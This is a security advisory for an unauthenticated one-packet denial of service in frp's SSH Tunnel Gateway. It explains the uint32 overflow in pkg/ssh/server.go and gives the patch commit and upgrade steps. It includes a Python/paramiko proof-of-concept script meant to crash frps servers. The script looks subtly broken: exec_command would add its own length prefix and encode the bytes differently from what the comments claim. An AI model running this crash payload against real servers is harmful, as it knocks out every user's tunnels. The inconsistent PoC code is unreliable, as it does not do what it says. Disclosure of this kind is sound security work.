frp SSH Tunnel Gateway Unauthenticated Remote Denial of Service via Integer Overflow
A one-packet integer overflow in frp's SSH Tunnel Gateway lets any unauthenticated attacker crash the entire frps process instantly, dropping every active tunnel for every user.

The problem
The SSH Tunnel Gateway feature in frps (introduced in v0.53.0) parses the four-byte length field of an SSH exec request without overflow protection. Adding the constant 4 to an attacker-supplied uint32 value of 0xFFFFFFFF wraps around to 3, defeating the bounds check and causing a panic on an out-of-range slice.
The handler runs in a bare goroutine with no recover. The panic unwinds to the top of the goroutine and kills the whole frps process, not just the offending connection. Because the default gateway configuration disables SSH client authentication, this crash is reachable pre-authentication with a single five-byte message.
Proof of concept
A working proof-of-concept for this issue in github.com/fatedier/frp, with the exact payload below.
# Requires frps >= 0.53.0 with sshTunnelGateway enabled (any port, no authorized-keys file)
# Connect as unauthenticated SSH client, open a session channel, then send one exec request:
# Payload bytes: ff ff ff ff 41 (4-byte length = 0xFFFFFFFF, then one command byte 'A')
#
# Using Python + paramiko to craft the raw channel request:
import socket
import paramiko
class MaliciousTransport(paramiko.Transport):
pass
target_host = "<frps-host>"
target_port = 2200
sock = socket.create_connection((target_host, target_port))
transport = paramiko.Transport(sock)
transport.start_client()
# No credentials needed - server has NoClientAuth = true by default
transport.auth_none("anyuser")
chan = transport.open_session()
# Send exec request with length field = 0xFFFFFFFF (overflows 4 + 0xFFFFFFFF -> 3)
# Raw payload: b'\xff\xff\xff\xff\x41'
chan.exec_command("\xff\xff\xff\xffA") # length bytes injected as command prefix
# Server panics immediately:
# panic: runtime error: slice bounds out of range [4:3]
# .../frp/pkg/ssh/server.go:319The root cause (CWE-190) is in pkg/ssh/server.go. The expression end := 4 + binary.BigEndian.Uint32(req.Payload[:4]) operates entirely in uint32 arithmetic, so 4 + 0xFFFFFFFF wraps to 3. The guard if len(req.Payload) < int(end) then evaluates 5 < 3, which is false, so execution falls through to req.Payload[4:end] which is payload[4:3], an invalid slice that panics.
The patch (commit 7dc7be9, PR #5428, released in v0.70.1) adds an explicit overflow check before computing end, rejecting any length value that would produce a wrapped result. It also ensures the goroutine running handleNewChannel is wrapped with a deferred recover so a future panic cannot take down the whole process.
The fix
Upgrade frps to v0.70.1 or later. The fix is in commit 7dc7be930e2452ae93fd32f2a77f8c6fcd0b652b. If you cannot upgrade immediately, disable the SSH Tunnel Gateway by removing the [sshTunnelGateway] section from your frps.toml. The vulnerability only affects deployments that explicitly enable the gateway; default frps configurations are not affected.
Related research
- critical · 9.1CVE-2026-39834CVE-2026-39834: golang.org/x/crypto/ssh Infinite Loop via Integer Overflow on Large Channel Write
- high · 7.6OpenList Authenticated Path Traversal in Batch Rename src_name
- highCVE-2026-33413: etcd Watch API RBAC Authorization Bypass via Open-Ended Range
- high · 7.8Oh My Posh: Arbitrary Command Execution via Template Injection in Path Segment